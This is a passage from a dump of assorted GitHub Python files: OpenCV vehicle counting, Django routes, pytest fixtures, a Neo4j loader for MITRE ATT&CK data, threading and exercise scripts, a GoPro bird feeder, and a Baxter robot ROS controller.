","repo_name":"Mihkorz/of2","sub_path":"food/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4029,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"34926449785","text":"import cv2\nimport numpy as np\n\n\ndef preprocess_frame(img):\n    # -- 1.1 convert to grayscale --\n    img_gray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\n    cv2.namedWindow('img_gray',cv2.WINDOW_NORMAL)    \n    cv2.imshow('img_gray',img_gray)\n    \n    # -- 1.2 Binarize image --\n    _, thresh = cv2.threshold(img_gray,10,255,0)\n    cv2.namedWindow('thresh',cv2.WINDOW_NORMAL)    \n    cv2.imshow('thresh',thresh)\n    return thresh\n\n\ndef veh_detection_processing(img):\n    \n    '''Processing the image '''\n    # 1.1 sobel edge detections\n    sobelxy = cv2.Sobel(src=img, ddepth=cv2.CV_64F, dx=1, dy=1, ksize=5) \n    \n    cv2.namedWindow('sobelxy',cv2.WINDOW_NORMAL)    \n    cv2.imshow('sobelxy',sobelxy)\n    \n    ## 1.2 Dialation\n    dialation = cv2.dilate(sobelxy,(3,3),iterations=2)\n    cv2.namedWindow('dialation',cv2.WINDOW_NORMAL)    \n    cv2.imshow('dialation',dialation)\n    \n    ## 1.3 Closing\n    closing_kern_odd_l = 35\n    closing_kern_odd_b = 5\n    kernel_closing = np.ones((closing_kern_odd_b,closing_kern_odd_l),np.uint8)\n    closing = cv2.morphologyEx(dialation,cv2.MORPH_CLOSE,kernel_closing)\n    cv2.namedWindow('closing',cv2.WINDOW_NORMAL)    \n    cv2.imshow('closing',closing)\n\n    ## 1.4 Opening\n    Opening_kern_odd_l = 7\n    Opening_kern_odd_b = 3\n\n    kernel_opening = np.ones((Opening_kern_odd_b,Opening_kern_odd_l),np.uint8)\n    opening = cv2.morphologyEx(closing,cv2.MORPH_OPEN,kernel_opening)\n    cv2.namedWindow('opening',cv2.WINDOW_NORMAL)    \n    cv2.imshow('opening',opening)\n\n    return opening\n\ndef get_vehicle_from_area(area):\n    '''Funtion to return vehicle type according to contour area'''\n    if area <100:\n        vehicle_type = \"Two-wheeler\"\n    elif area < 400:\n        vehicle_type = \"Small Car\"\n    elif area < 600:\n        vehicle_type = \"Big Car\"\n    elif area < 700:\n        vehicle_type = \"Truck\"\n    elif area >= 700:\n        vehicle_type = \"Long Truck\"\n\n    return vehicle_type\n\n\n\ndef check_if_point_lies_in_ROI(point,region):\n    '''Function to check if the point is within ROI or not'''\n    veh_cnt_center = point\n    x1,y1 = region[0]\n    x2,y2 = region[1]\n    x_veh,y_veh = veh_cnt_center\n    \n    vehicle_in_ROI =  False\n    if x_veh >= x1 and x_veh <=x2:\n        if y_veh >=y1 and y_veh <=y2:\n            vehicle_in_ROI = True\n\n    return vehicle_in_ROI\n\n\n\ndef count_vehicle(binary_img, main_img, dict_roi_region):\n    '''Funtion to count the vehicles '''\n    # print('binary_img.shape',binary_img.shape)\n    binary_img = binary_img.astype(np.uint8)\n    contours, heirarchy = cv2.findContours(binary_img, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_NONE)\n\n    cnt_centers_list = []\n    cnt_area_list = []\n    cnt_veh_type_list = []\n    for cnt in contours:\n        area = cv2.contourArea(cnt)\n        x,y,w,h = cv2.boundingRect(cnt)\n        center = (int(x + w/2),int(y +h/2))\n        vehicle_type = get_vehicle_from_area(area)\n\n        cnt_centers_list.append(center)\n        cnt_area_list.append(area) \n        cnt_veh_type_list.append(vehicle_type)\n\n\n    roi_list = dict_roi_region['Roi_regions']\n    to_count_status_list = dict_roi_region['to_Count_status']\n    list_region_contious_black_cnt = dict_roi_region['roi_continuous_blacked_fr_cnt']\n    cropped_list = []\n    roi_wise_veh_type = [None,None,None,None,None,None,None,None,None,None]\n    \n    ## Check through each ROI whether contour exist in it or not\n    for i in range(len(roi_list)):\n        region = roi_list[i]\n        x1,y1 = region[0]\n        x2,y2 = region[1]\n        cropped = binary_img[y1:y2,x1:x2]\n        whites = np.sum(cropped==255)\n        cropped_area = cropped.shape[0]* cropped.shape[1]\n        percentage = whites/cropped_area * 100\n        main_img = cv2.rectangle(main_img, (x1,y1),(x2,y2),(0,255,0),3)\n        to_Count_status = to_count_status_list[i]\n        continous_black_region_count = list_region_contious_black_cnt[i]\n        # print(\"Percentage\",percentage)\n        if percentage >0 and to_Count_status==True:\n            for j, cnt_center in enumerate(cnt_centers_list):\n                cnt_in_ROI = check_if_point_lies_in_ROI(point=cnt_center,region=region)\n                # print('cnt_in_ROI',cnt_in_ROI)\n                if cnt_in_ROI:\n                    ## If veh_contour_center is in ROI                        \n                    vehicle_found = cnt_veh_type_list[j]\n                    # print('vehicle_found', vehicle_found)\n                    roi_wise_veh_type[i] = vehicle_found\n                    to_count_status_list[i]= False  # Reset to False\n        \n        elif percentage==0 and continous_black_region_count>5:\n            to_count_status_list[i]= True  # Reset to True for next count\n\n        \n        elif percentage==0:\n            list_region_contious_black_cnt[i] = continous_black_region_count+1    \n        elif percentage>0:\n            list_region_contious_black_cnt[i]= 0\n\n    updated_dictionary = dict_roi_region\n    updated_dictionary['roi_continuous_blacked_fr_cnt'] = list_region_contious_black_cnt\n    updated_dictionary['to_Count_status'] = to_count_status_list\n\n    for cnt in contours:\n        area = cv2.contourArea(cnt)\n        x,y,w,h = cv2.boundingRect(cnt)        \n        main_img = cv2.rectangle(main_img,(int(x),int(y)),(int(x+w),int(y+h)),(255,0,0),1)\n        \n\n    return main_img, roi_wise_veh_type, updated_dictionary\n\n\nvid_path = 'Input\\production ID_4626414.mp4'\n\ncap = cv2.VideoCapture(vid_path)\n\n\nret, backgr_img = cap.read()\n\n## Resizing the images to process faster\nbackgr_img = cv2.resize(backgr_img,None,fx=0.25,fy=0.25)\n\n# Variables to store the count of vehicles\nveh_count_bike = 0\nveh_count_sm_cars = 0\nveh_count_lg_cars = 0\nveh_count_sm_truck = 0\nveh_count_lg_trucks = 0\n\n# Dictionary to store ROI region details\ndict_roi_region = {'Roi_regions':[[(740,60),(760,75)],[(740,76),(760,90)], [(740,91),(760,105)],\n                        [(430,207),(467,224)],[(430,225),(467,241)],[(430,242),(467,258)],\n                        [(420,277),(460,297)],[(420,298),(460,317)],[(420,318),(460,338)],\n                        [(250,435),(286,483)]],\n                'to_Count_status':[True,True,True,\n                                    True,True,True,\n                                    True,True,True,\n                                    True],\n                'roi_continuous_blacked_fr_cnt':[0,0,0,0,0,0,0,0,0,0]\n                }  \nframeNo = 0\nwhile True:\n    ret, frame = cap.read()\n    frame = cv2.resize(frame,None,fx=0.25,fy=0.25)\n\n    ## Subtracting current image from previous\n    subtracted = cv2.subtract(frame,backgr_img)\n    (h, w) = subtracted.shape[:2]\n    (cX, cY) = (w // 2, h // 2) \n\n    cv2.namedWindow('subtracted',cv2.WINDOW_NORMAL)    \n    cv2.imshow('subtracted',subtracted)\n    ## Rotating the image as roads are at 50 degree, to make roads horizontal\n    M = cv2.getRotationMatrix2D((cX, cY), 50, 1.0)\n    rotated = cv2.warpAffine(subtracted, M, (w, h))\n    rotated_main = cv2.warpAffine(frame.copy(), M, (w, h))\n    cv2.namedWindow('rotated',cv2.WINDOW_NORMAL)    \n    cv2.imshow('rotated',rotated)\n    cv2.namedWindow('rotated_main',cv2.WINDOW_NORMAL)    \n    cv2.imshow('rotated_main',rotated_main)\n    ## Preprocessing and applying median filter\n    processed_subtr = preprocess_frame(rotated)\n    median_filter = cv2.medianBlur(processed_subtr,5)\n    cv2.namedWindow('median_filter',cv2.WINDOW_NORMAL)    \n    cv2.imshow('median_filter',median_filter)\n\n    ## Post processing for contour detection and area finding\n    processed_binary = veh_detection_processing(median_filter)\n\n    ## Getting Output as per the postprocessed result\n    Output, roi_wise_veh_type, updated_dictionary = count_vehicle(processed_binary,rotated_main,dict_roi_region)\n    # print('roi_wise_veh_type',roi_wise_veh_type)\n\n    dict_roi_region = updated_dictionary\n\n    for veh_found in roi_wise_veh_type:\n        if veh_found is not None:\n            if veh_found  == \"Two-wheeler\":\n                veh_count_bike+=1\n            elif veh_found == \"Small Car\":\n                veh_count_sm_cars+=1\n            elif veh_found == \"Big Car\":\n                veh_count_lg_cars+=1\n            elif veh_found == \"Truck\":\n                veh_count_sm_truck+=1\n            elif veh_found == \"Long Truck\":\n                veh_count_lg_trucks+=1\n\n    \n    ## Showing output on the Result image\n    \n    output_text1 = f\"Two-wheeler Count : {veh_count_bike}\"\n    output_text2 = f\"Small Car Count : {veh_count_sm_cars}\"\n    output_text3 = f\"Big Car Count : {veh_count_lg_cars}\"\n    output_text4 = f\"Heavy Vehicle Count : {veh_count_sm_truck}\"\n    output_text5 = f\"Long Heavy Vehicle Count : {veh_count_lg_trucks}\"\n\n\n    Output = cv2.putText(Output,output_text1,(10,10),cv2.FONT_HERSHEY_COMPLEX,0.5,(0,255,0),2)\n    Output = cv2.putText(Output,output_text2,(10,25),cv2.FONT_HERSHEY_COMPLEX,0.5,(0,255,0),2)\n    Output = cv2.putText(Output,output_text3,(10,40),cv2.FONT_HERSHEY_COMPLEX,0.5,(0,255,0),2)\n    Output = cv2.putText(Output,output_text4,(10,55),cv2.FONT_HERSHEY_COMPLEX,0.5,(0,255,0),2)\n    Output = cv2.putText(Output,output_text5,(10,70),cv2.FONT_HERSHEY_COMPLEX,0.5,(0,255,0),2)\n\n\n    \n    \n    # For DEBUGGING\n    # print(\"Output.shape\",Output.shape)\n    # # cv2.namedWindow('processed_back',cv2.WINDOW_NORMAL)\n    # cv2.namedWindow('subtracted',cv2.WINDOW_NORMAL)\n    # cv2.namedWindow('processed_subtr',cv2.WINDOW_NORMAL)\n    # cv2.namedWindow('median_filter',cv2.WINDOW_NORMAL)\n    # cv2.namedWindow('Output',cv2.WINDOW_NORMAL)\n    # # cv2.imshow('processed_back',processed_back)\n    # cv2.imshow('subtracted',subtracted)\n    # cv2.imshow('processed_subtr',processed_subtr)\n    # cv2.imshow('median_filter',median_filter)\n    \n    cv2.namedWindow('frame',cv2.WINDOW_NORMAL)\n    cv2.imshow('frame',frame)\n    cv2.imshow('Output',Output)\n    cv2.imwrite('Output.jpg',Output)\n\n\n    frameNo+=1\n    \n    backgr_img = frame\n    key = cv2.waitKey(1)\n    if key == ord('q'):\n        break\n\n\n\ncv2.destroyAllWindows()","repo_name":"swatish24/VehicleDetection","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9909,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"20477305713","text":"from django.urls import path, include\nfrom . import views\nurlpatterns = [\n    path('', views.index),\n    path('dashboard/', views.dashboard),\n    path('logout/', views.logout),\n    path('joined/',views.join),\n    path('check/',views.check),\n    path('delete/',views.delete),\n    path('adminpanel/',views.admin),\n    path('Bangalore/',views.Bangalore),\n    path('Chandigarh/', views.Chandigarh),\n    path('Chennai/', views.Chennai),\n    path('Delhi/', views.Delhi),\n    path('Hyderabad/', views.Hyderabad),\n    path('Indore/', views.Indore),\n    path('Jaipur/', views.Jaipur),\n    path('Mumbai/', views.Mumbai),\n    path('Mysore/', views.Mysore),\n    path('Pune/', views.Pune),\n    path('Surat/', views.Surat),\n    path('', include('django.contrib.auth.urls')),\n    path('', include('social_django.urls')),\n]","repo_name":"RahulKushwaha762/WhatsCovidWeb","sub_path":"covidapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":807,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"}
+{"seq_id":"25629053986","text":"import pytest\n\n\n@pytest.fixture\ndef award():\n    return{\n        'name': 'ENCODE2',\n    }\n\n\n@pytest.fixture\ndef award_1(award):\n    item = award.copy()\n    item.update({\n        'schema_version': '1',\n        'rfa': \"ENCODE2\"\n    })\n    return item\n\n\n@pytest.fixture\ndef award_bad(award):\n    item = award.copy()\n    item.update({\n        'schema_version': '1',\n        'rfa': \"ENCODE2\",\n        'status': \"Not a status\"\n    })\n    return item\n\n\ndef test_award_upgrade(upgrader, award_1):\n    value = upgrader.upgrade('award', award_1, target_version='2')\n    assert value['schema_version'] == '2'\n    assert value['status'] == 'disabled'\n\n\ndef test_award_upgrade_encode3(upgrader, award_1):\n    award_1['rfa'] = 'ENCODE3'\n    value = upgrader.upgrade('award', award_1, target_version='2')\n    assert value['schema_version'] == '2'\n    assert value['status'] == 'current'\n\n\ndef test_award_upgrade_url(upgrader, award_1):\n    award_1['url'] = ''\n    value = upgrader.upgrade('award', award_1, target_version='2')\n    assert value['schema_version'] == '2'\n    assert 'url' not in value\n\n\n@pytest.fixture\ndef award_2(award_1):\n    item = award_1.copy()\n    item.update({\n        'schema_version': '3',\n        'viewing_group': 'ENCODE',\n    })\n    return item\n\n\ndef test_award_upgrade_viewing_group(upgrader, award_2):\n    value = upgrader.upgrade('award', award_2, target_version='3')\n    assert value['schema_version'] == '3'\n    assert value['viewing_group'] == 'ENCODE'\n\n\ndef test_award_batch_upgrade(award_bad, testapp):\n    # cannot post an invalid object\n    res = testapp.post_json('/awards/', award_bad, status=422)\n","repo_name":"ENCODE-DCC/snovault","sub_path":"src/snowflakes/tests/test_upgrade_award.py","file_name":"test_upgrade_award.py","file_ext":"py","file_size_in_byte":1622,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"37"}
+{"seq_id":"14848491626","text":"# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this file,\n# You can obtain one at http://mozilla.org/MPL/2.0/.\n\n\nfrom targets.firefox.fx_testcase import *\n\n\nclass Test(FirefoxTest):\n\n    @pytest.mark.details(\n        description='Bug 1388745 - Some search results are not highlighted',\n        locale=['en-US'],\n        test_case_id='145065',\n        test_suite_id='2241',\n    )\n    def run(self, firefox):\n        find_more_highlighted_pattern = Pattern('find_more_highlighted.png')\n\n        navigate('about:preferences')\n\n        paste('find more')\n\n        find_more_highlighted = exists(find_more_highlighted_pattern.similar(0.9 if OSHelper.is_linux() else 0.99),\n                                       FirefoxSettings.FIREFOX_TIMEOUT)\n\n        assert find_more_highlighted, '\"Find more (search engine)\" link is highlighted.'\n\n        # -NOTE: In the builds affected by this bug the one-click Search Engines section was shown, but\n        #  the searched text was not highlighted.\n","repo_name":"Abdur-rahmaanJ/iris_firefox","sub_path":"tests/firefox/prefs/search_results_not_highlighted.py","file_name":"search_results_not_highlighted.py","file_ext":"py","file_size_in_byte":1073,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"37"}
+{"seq_id":"9076773738","text":"\"\"\"\n\nImplemente uma função que recebe uma lista de números inteiros e retorna uma\ntupla (pos, num) , onde pos é a posição (ou índice) do maior número na lista e\nnum é o valor desse número.\n\n\"\"\"\n\n\ndef returnTuple(list_num: list):\n\n    num = 0\n    position = 0\n\n    amount_numbers = len(list_num)\n\n    for pos in range(0, amount_numbers):\n\n        if list_num[pos] > num:\n            num = list_num[pos]\n            position = pos\n\n    return (position, num)\n\n\nelements = [5, 4, 8.9, 78, 19, 35, 20, 74]\nbiggestNumber = returnTuple(elements)\nprint(biggestNumber)\n","repo_name":"ErnestoTSantos/CursoPythonCodar.me","sub_path":"Functions/Exercícios_functions/tupleNum.py","file_name":"tupleNum.py","file_ext":"py","file_size_in_byte":571,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"41427195247","text":"import json\n\n\ndef extract_values(data, keys: list):\n    \"\"\"\n    Recursively extract values from a nested dictionary using a list of keys.\n\n    :param data: a nested dictionary\n    :param keys: e.g. [\"external_references\", \"list\", \"external_id\"],\n                 \"list\" means the type of second layer in data is list\n    :return: value correspond with keys\n    \"\"\"\n    if len(keys) == 1:\n        return data.get(keys[0])\n    else:\n        if isinstance(data, dict) and keys[0] in data:\n            return extract_values(data[keys[0]], keys[1:])\n        elif isinstance(data, list):\n            # if type(data) == list, it will be unable to traverse the list\n            # so need to add extra key to indicate that this layer is list\n            # add extra key at will, e.g.list, it will not really be used because in code `keys[1:0]` it will be passed\n            result: list = [extract_values(item, keys[1:]) for item in data]\n            return next(item for item in result if item is not None)\n        else:\n            return None\n\n\ndef delete_all(driver) -> None:\n    \"\"\"\n    Delete all nodes and relationships in neo4j.\n\n    :param driver: connect to neo4j\n    :return: none\n    \"\"\"\n    # Start a session.\n    with driver.session() as session:\n        session.run('MATCH (n) DETACH DELETE (n)')\n\n\ndef insert_json_to_neo4j(driver, json_file_path: str, properties: list[list], relationships: list[list]) -> None:\n    \"\"\"\n    Define function to insert JSON data into Neo4j.\n\n    :param driver: connect to neo4j\n    :param json_file_path: location of json file\n    :param properties: properties that will be used to compose a whole node\n    :param relationships: properties that will be used to build the relationship between node A and node B\n    :return: none\n    \"\"\"\n    # Open JSON file.\n    with open(json_file_path) as f:\n        data = json.load(f)['objects']\n\n    # Start a session.\n    with driver.session() as session:\n        # Insert each node into Neo4j.\n        for node in data:\n            if 'x_mitre_deprecated' in node and node['x_mitre_deprecated'] is True:\n                continue\n            if node['type'] == 'relationship':\n                continue\n\n            command: str = \"CREATE (n\"\n            domains: list[str] = extract_values(node, properties[0])\n            if domains is not None:\n                for domain in domains:\n                    command += \":\" + domain.replace('-', '_')\n\n            command += \"{\"\n\n            for item in properties[1:]:\n                value: str = extract_values(node, item)\n                if value is not None:\n                    if command[-1] != '{':\n                        command += \",\"\n                    command += item[-1] + ':\"' + value.replace('\"', \"'\").replace('\\\\', '\\\\\\\\') + '\"'\n\n            command += \"})\"\n            print(command)\n            session.run(command)\n\n        # Insert each relationship into Neo4j.\n        for rel in data:\n            if 'x_mitre_deprecated' in rel and rel['x_mitre_deprecated'] is True:\n                continue\n\n            if rel['type'] == 'relationship':\n                command: str = 'MATCH (a),(b) WHERE a.id = \"' + extract_values(rel, relationships[0]) + \\\n                               '\" AND b.id = \"' + extract_values(rel, relationships[1]) + \\\n                               '\" CREATE (a)-[r:' + extract_values(rel, relationships[2]).replace('-', '_') + '{'\n\n                for relationship in relationships[3:]:\n                    val: str = extract_values(rel, relationship)\n                    if val is not None:\n                        if command[-1] != '{':\n                            command += \",\"\n                        command += relationship[0] + ':\"' + val.replace('\"', \"'\").replace('\\\\', '\\\\\\\\') + '\"'\n\n                # desc: str = extract_values(rel, relationships[3])\n                # if desc is not None:\n                #     command += '{' + relationships[3][0] + ':\"' + desc.replace('\"', \"'\") + '\"}'\n\n                command += '}]->(b)'\n                print(command)\n                session.run(command)\n\n    # Close the driver connection.\n    driver.close()\n\n\ndef delete_duplicate_node(driver, json_file_path: str):\n    \"\"\"\n    Delete duplicate nodes in Neo4j.\n\n    :param driver: connect to neo4j\n    :param json_file_path: location of json file\n    \"\"\"\n    # Open JSON file.\n    with open(json_file_path) as f:\n        data = json.load(f)['objects']\n\n    # Start a session.\n    with driver.session() as session:\n        for item in data:\n            if 'x_mitre_deprecated' in item and item['x_mitre_deprecated'] is True:\n                continue\n            if item['type'] == 'relationship':\n                continue\n\n            id: str = extract_values(item, [\"id\"])\n\n            res: list = session.run('MATCH (n{id:\"' + id + '\"}) RETURN count(n)').data()\n            if res[0]['count(n)'] > 1:\n                # Find the most import node.(decide by relationships)\n                node_list: list = session.run('MATCH (n{id:\"' + id + '\"}) RETURN id(n)').data()\n                rel: list = []\n                for node in node_list:\n                    tmp: list = session.run('MATCH (n)-[r]-(m) WHERE id(n) = ' +\n                                            str(node['id(n)']) + ' RETURN id(n),count(m)').data()\n                    if len(tmp) == 0:\n                        tmp = [{'id(n)': node['id(n)'], 'count(m)': 0}]\n                    rel.append(tmp[0])\n                rel.sort(key=lambda x: x['count(m)'], reverse=True)  # sort by count(relationships)\n                delete_nodes: list[int] = [node['id(n)'] for node in rel[1:]]\n                # Delete nodes.\n                for node in delete_nodes:\n                    # with relationship\n                    session.run('MATCH (n)-[r]-(m) WHERE id(n) = ' + str(node) + ' DELETE n,r')\n                    # single node\n                    session.run('MATCH (n) WHERE id(n) = ' + str(node) + ' DELETE n')\n","repo_name":"marsvillager/SecurityGraph","sub_path":"db/attack_process.py","file_name":"attack_process.py","file_ext":"py","file_size_in_byte":5943,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"30373371861","text":"from time import sleep\nfrom random import random\nfrom threading import Thread\nfrom threading import Condition\n\n\n# target function\ndef task(condition, number):\n    # wait to be notified\n    print(f\"Thread {number} waiting...\")\n    with condition:\n        # the thread acquire the condition and\n        # block waiting to be notified\n        condition.wait()\n    # block for a moment\n    value = random()\n    sleep(value)\n    # report a result\n    print(f\"Thread {number} got {value}\")\n\n\n# create a condition\ncondition = Condition()\n# start a bunch of threads that will wait to be notified\nfor i in range(5):\n    # ******** must wait before notifying ******\n    worker = Thread(target=task, args=(condition, i))\n    worker.start()\n\n# block for a moment\nsleep(1)\n# notify all waiting threads that they can run\nwith condition:\n    # wait to be notified\n    condition.notify_all()\nprint(\"Line 35 on main thread\")\n# block until all non-daemon threads finish...\n# when the main thread notified all 5 waiting threads. they wake up\n# acquire the lock in the condition one at a time, perform their\n# processing and then report their result\n","repo_name":"Researching-Advanced-Python-Concepts/python-concurrency","sub_path":"threads_queues/threads/thread_condition/2_wait_notify_all_with_condition.py","file_name":"2_wait_notify_all_with_condition.py","file_ext":"py","file_size_in_byte":1130,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"19425359851","text":"import Adafruit_BBIO.GPIO as GPIO #GPIO\nfrom goprohero import GoProHero #goPro\nfrom ultrasonic import Ultrasonic\nimport time\nimport os\n\nfilename = 'audio.wav' #sound file\n\n#members\nLED = 'P9_16' #LED to show status\nTRIG = 'P9_12' #trigger pin on ultrasonic\nECHO = 'P9_14' #echo pin receieve\n\nthresh = 20. #distance threshold for ultrasonic \nstatus_flag = 0 #within threshold value\nval = 0\n\n#setup\nGPIO.setup(LED, GPIO.OUT)\n\nrangefinder = Ultrasonic(TRIG, ECHO, thresh)\ncamera = GoProHero(password='r00ba770') #connect to camera\n#=========================================================\n\nwhile(1):\n\ttry:\n\t\tstatus_flag = rangefinder.threshold()\n\t\t\n\t\tGPIO.output(LED, status_flag)\n\t\tstatus = camera.status()\n\t\tif(status_flag == 1 and status['record'] != 'on'):\n\t\t\tcamera.command('record','on')\n\t\t\tos.system('aplay ' + filename)\n\t\t\t#print('recording')\n\t\telif(status['record'] != 'off' and status_flag == 0):\n\t\t\tcamera.command('record','off')\n\t\n\texcept KeyboardInterrupt:\n\t\tGPIO.cleanup()\n\t\trangefinder.close()\t\n\t\tcamera.command('record','off')\n\t\traise\n\texcept:\n\t\tprint(\"You need to run as ROOT asshole\")\n\t\texit(-1)\n","repo_name":"sabjorn/BirdFeeder","sub_path":"src/birdfeeder.py","file_name":"birdfeeder.py","file_ext":"py","file_size_in_byte":1112,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"25595571460","text":"#!/bin/python3\n\nimport os\n\ndef gradingStudents(grades):\n    i = 0\n    for grade in grades:\n        if grade > 35:\n            rounded = grade + 5 - int(str(grade)[1])\n\n            if int(str(grade)[1]) > 5:\n                rounded = grade + 10 - int(str(grade)[1])\n                # if grade(1) > 2 and grade(1) < 5 or grade(1) > 7 and grade(1) < 10:\n            if rounded > 38:\n                if rounded - grade < 3:\n                    grades[i] = rounded\n        i += 1\n    return grades\n\n\nif __name__ == '__main__':\n\n    n = int(input())\n\n    grades = []\n\n    for _ in range(n):\n        grades_item = int(input())\n        grades.append(grades_item)\n\n    result = gradingStudents(grades)\n\n    print(result)\n","repo_name":"ryotokuro/hackerrank","sub_path":"algorithms/.idea/grading.py","file_name":"grading.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"}
+{"seq_id":"21369118878","text":"#!/usr/bin/env python\n\nimport rospy\nimport math\nimport argparse\nimport numpy as np\n\nimport baxter_tools\nimport baxter_interface\nimport rosbag\nfrom baxter_core_msgs.msg import JointCommand\nfrom std_msgs.msg import Float64\nfrom sensor_msgs.msg import JointState\n\nclass MueveBrazoVel(object):\n    def registro_rec(self, data):\n        self.datos = data\n        self.bag_rec.write('/robot/joint_states', data)\n\n    def registro_sent(self, data):\n        self.bag_sent.write(self.topic, data)\n\n    def __init__(self, limb, frecuencia=100, velocity=1, intervalo=100):\n        \"\"\"\n        Mueve el brazo de Baxter especificado mediante ordenes de ROS publicando\n        la velocidad\n        \"\"\"\n        self.limb = limb\n        self.velocidad = velocity\n        self.datos = JointState()\n        self.intervalo = intervalo\n\n        rospy.loginfo(\"Creando editor (publisher) a %sHz\" % frecuencia)\n        self.topic = '/robot/limb/'+self.limb+'/joint_command'\n        self.pub = rospy.Publisher(self.topic, JointCommand, tcp_nodelay=True, queue_size=1)\n\n        rospy.loginfo(\"Creando registros bag\")\n        nombre_rec = 'recibido_v' + str(self.velocidad) + '_lapse' + str(self.intervalo)\n        self.bag_rec = rosbag.Bag(nombre_rec+'.bag', 'w')\n        nombre_sent = 'enviado_v' + str(self.velocidad) + '_lapse' + str(self.intervalo)\n        self.bag_sent = rosbag.Bag(nombre_sent+'.bag', 'w')\n\n        rospy.loginfo(\"Creando suscriptores (subscriber)\")\n        rospy.Subscriber('/robot/joint_states', JointState, self.registro_rec)\n        rospy.Subscriber(self.topic, JointCommand, self.registro_sent)\n\n        self.msg = JointCommand()\n        self.msg.mode = JointCommand.VELOCITY_MODE\n        self.msg.names = ['s0', 's1', 'e0', 'e1', 'w0', 'w1', 'w2']\n        for i, nombre in enumerate(self.msg.names):\n            self.msg.names[i] = limb + '_' + nombre\n\n        self.rs = baxter_interface.RobotEnable()\n        self.rs.enable()\n\n        self.rate = rospy.Rate(frecuencia)\n\n\n\n    def set_init(self):\n        \"\"\" Establece posicion inicial con velocidaded (no funciona)\"\"\"\n        posfinal = [0, 0, 0, 0, math.pi/2, 0, 0]\n        pos0 = np.array(posfinal)\n        names = self.datos.name\n        self.rate.sleep()\n\n        def extract_pos(name):\n            def posiciones():\n                pos = [i for i, x in enumerate(self.datos.name) if x == name]\n                pos = pos[0]\n                return self.datos.position[pos]\n            return posiciones\n\n        pos = [extract_pos(i) for i in self.msg.names]\n\n        def pos_update(posiciones):\n            return [posiciones[i]() for i in range(len(posiciones))]\n\n        posiciones = pos_update(pos)\n\n        rospy.loginfo('Iniciando posicion Baxter')\n        while np.sum((pos0 - posiciones)**2) > 0.3:\n            posiciones = np.array(pos_update(pos))\n            self.msg.command = list((pos0 - posiciones)*10)\n            self.pub.publish(self.msg)\n            self.rate.sleep()\n\n        rospy.sleep(1.)\n\n    def inicia_pos(self):\n        brazo = baxter_interface.Limb(self.limb)\n        command = [0, 0, 0, 0, math.pi/2, 0, 0]\n        pos_izq = dict()\n        for name, value in zip(self.msg.names, command):\n            pos_izq[name] = value\n        brazo.move_to_joint_positions(pos_izq)\n\n    def mueve_brazo(self):\n        i = 0.0\n        pos = 1\n        vel_range = [-self.velocidad, self.velocidad]\n        w1_range = [-math.pi/2, 120.0/180*math.pi]\n        self.msg.command = [0, 0, 0, 0, 0, 0, 0]\n\n        rospy.loginfo('Empezando bucle')\n        while not rospy.is_shutdown() and 0.9*w1_range[0] < self.datos.position[8] and self.datos.position[8] < 0.9*w1_range[1]:\n            self.msg.command[5] = vel_range[pos]*1\n            self.pub.publish(self.msg)\n            i += 1\n            if i < self.intervalo:\n                pos = 1\n            elif i < 2*self.intervalo:\n                pos = 0\n            else:\n                i = 0\n                pos = 1\n            self.rate.sleep()\n\n    def apagado(self):\n        self.bag_rec.close()\n        self.bag_sent.close()\n\n\n\n\n\n\ndef main():\n    parser = argparse.ArgumentParser(description=main.__doc__)\n    parser.add_argument('-v', '--velocity', type=float, help='Velocidad del brazo (0,2)', default=1.0)\n    parser.add_argument('-i', '--intervalo', type=int, help='Intervalo de tiempo que va hacia cada lado', default=100)\n    args = parser.parse_args()\n\n    velocidad = args.velocity\n    intervalo = args.intervalo\n    frecuencia = 100\n\n    rospy.loginfo(\"Iniciando nodo\")\n    rospy.init_node(\"nodo_mueve_brazo_ROS\")\n    brazo_vel = MueveBrazoVel('left', frecuencia, velocidad, intervalo)\n\n    brazo_vel.inicia_pos()\n\n    brazo_vel.mueve_brazo()\n\n    rospy.on_shutdown(brazo_vel.apagado)\n\n\n\n\n\nif __name__ == '__main__':\n    try:\n        main()\n    except rospy.ROSInterruptException:\n        pass\n","repo_name":"juliojesusvizcaino/BaxterTests","sub_path":"src/velocity_mov.py","file_name":"velocity_mov.py","file_ext":"py","file_size_in_byte":4830,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
